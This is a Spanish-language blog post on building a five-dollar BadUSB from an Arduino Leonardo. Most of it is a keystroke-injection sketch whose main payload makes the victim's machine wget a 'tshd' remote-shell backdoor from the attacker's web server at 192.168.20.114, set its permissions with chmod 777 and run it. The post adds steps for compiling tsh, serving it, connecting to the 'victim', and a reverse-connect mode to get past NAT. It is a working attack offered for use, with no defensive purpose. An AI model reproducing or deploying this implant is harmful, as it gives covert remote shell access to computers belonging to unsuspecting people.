Esta pagina se ve mejor con JavaScript habilitado

Quacked

 ·  🎃 kr0m

Los BadUsbs están de moda desde la aparición del rubber-ducky, este usb es capaz de interpretar unos script muy sencillos y ejecutar pulsaciones de teclado en el host, en este articulo vamos a crear un BadUsb sin las capacidades de scripting, esto nos dará un mayor control ya que utilizaremos directamente las librerias de teclado de Arduino, además nos costará 5$ y no 45$ que es lo que piden por el RubberDucky.

El primer paso es hacerse con el hardware correcto, se trata de un Arduino Leonardo dentro de una cajita metálica haciéndose pasar por un usb. Lo podemos comprar en aliexpress por el módico precio de 5$:

AliExpress - BadUsb

El siguiente paso es descargarse el IDE de Arduino:
https://www.arduino.cc/en/Main/Software

Ahora las librerias de teclado con soporte para español:

cd ArduinoDIRECTORY/libraries/
git clone https://github.com/ernesto-xload/arduino_keyboardlib.git

vi arduino_keyboardlib/src/Keyboard.h

#define kbd_es_es

Con todo esto ya estamos listos para la acción, como ejemplo podemos tomar este código:

// https://www.arduino.cc/en/Reference/KeyboardModifiers

#define TSH 0
#define WALLMATE 1
#define AWESOME 2

#include "Keyboard.h"

// change this to match your payload:
int platform = TSH;

void setup() {
  Keyboard.begin();
}

void loop() {
  // necessary for SO to recognize keyboard
  delay(3000);

  switch (platform) {
    case TSH:
      // Download tshd binary
      Keyboard.press(KEY_LEFT_ALT);
      delay(100);
      Keyboard.press(KEY_F2);
      delay(100);
      Keyboard.release(KEY_F2);
      delay(100);
      Keyboard.release(KEY_LEFT_ALT);
      delay(100);
      // RX4 ~/tsh-0.6> python -m SimpleHTTPServer 8888
      Keyboard.print("wget 192.168.20.114:8888/tshd -O /tmp/tshd");
      for (int i=0; i <= 7; i++){
        Keyboard.press(KEY_TAB);
        Keyboard.release(KEY_TAB);
      }
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      delay(2000);
      
      // Assign permissions
      Keyboard.press(KEY_LEFT_ALT);
      delay(100);
      Keyboard.press(KEY_F2);
      delay(100);
      Keyboard.release(KEY_F2);
      delay(100);
      Keyboard.release(KEY_LEFT_ALT);
      delay(100);
      Keyboard.print("chmod 777 /tmp/tshd");
      for (int i=0; i <= 7; i++){
        Keyboard.press(KEY_TAB);
        Keyboard.release(KEY_TAB);
      }
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      delay(2000);
      
      // Execute fucking awesome tool
      Keyboard.press(KEY_LEFT_ALT);
      delay(100);
      Keyboard.press(KEY_F2);
      delay(100);
      Keyboard.release(KEY_F2);
      delay(100);
      Keyboard.release(KEY_LEFT_ALT);
      delay(100);
      Keyboard.print("/tmp/tshd");
      for (int i=0; i <= 7; i++){
        Keyboard.press(KEY_TAB);
        Keyboard.release(KEY_TAB);
      }
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      delay(2000);
      
      break;
    case WALLMATE:
      // Download image
      Keyboard.press(KEY_LEFT_ALT);
      delay(100);
      Keyboard.press(KEY_F2);
      delay(100);
      Keyboard.release(KEY_F2);
      delay(100);
      Keyboard.release(KEY_LEFT_ALT);
      delay(100);
      Keyboard.print("wget https://i.imgflip.com/1dv8ac.jpg -O /tmp/quacked.jpg");
      delay(1000);
      /*for (int i=0; i <= 1; i++){
        Keyboard.press(KEY_TAB);
        Keyboard.release(KEY_TAB);
      }
      Keyboard.write(' ');*/
      for (int i=0; i <= 7; i++){
        Keyboard.press(KEY_TAB);
        Keyboard.release(KEY_TAB);
      }
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      delay(2000);

      // Set wallpaper
      Keyboard.press(KEY_LEFT_ALT);
      delay(100);
      Keyboard.press(KEY_F2);
      delay(100);
      Keyboard.release(KEY_F2);
      delay(100);
      Keyboard.release(KEY_LEFT_ALT);
      delay(100);
      Keyboard.print("gsettings set org.mate.background picture-filename '/tmp/quacked.jpg'");
      delay(1000);
      /*for (int i=0; i <= 1; i++){
        Keyboard.press(KEY_TAB);
        Keyboard.release(KEY_TAB);
      }
      Keyboard.write(' ');*/
      for (int i=0; i <= 7; i++){
        Keyboard.press(KEY_TAB);
        Keyboard.release(KEY_TAB);
      }
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      
      break;
    case AWESOME:
      Keyboard.press(KEY_LEFT_GUI);
      Keyboard.write(KEY_RETURN);
      delay(1000);
      Keyboard.releaseAll();
      Keyboard.print("You have been Kr0med!!");
  }

  // do nothing:
  while (true);
}

Según el payload elegido el usb ejecutará unas acciones u otras, para el payload tsh debemos tener nuestro tsh compilado y arrancar un servidor web para que el wget pueda bajarse el binario:

wget https://packetstormsecurity.com/files/download/31650/tsh-0.6.tgz
tar xvzf tsh-0.6.tgz
cd tsh-0.6
make linux

Arrancamos el servidor web:

python -m SimpleHTTPServer 8888

Ahora cuando se baje el binario aparecerá una entrada en la consola donde lanzamos el servidor web, pudiendo así conectar con la víctima, si la víctima está nateada obviamente esto no funcionará, lo que podemos hacer es compilar tsh en modo “conexión reversa” así será ella quien conecte con nosotros burlando el NAT.

Si te ha gustado el artículo puedes invitarme a un RedBull aquí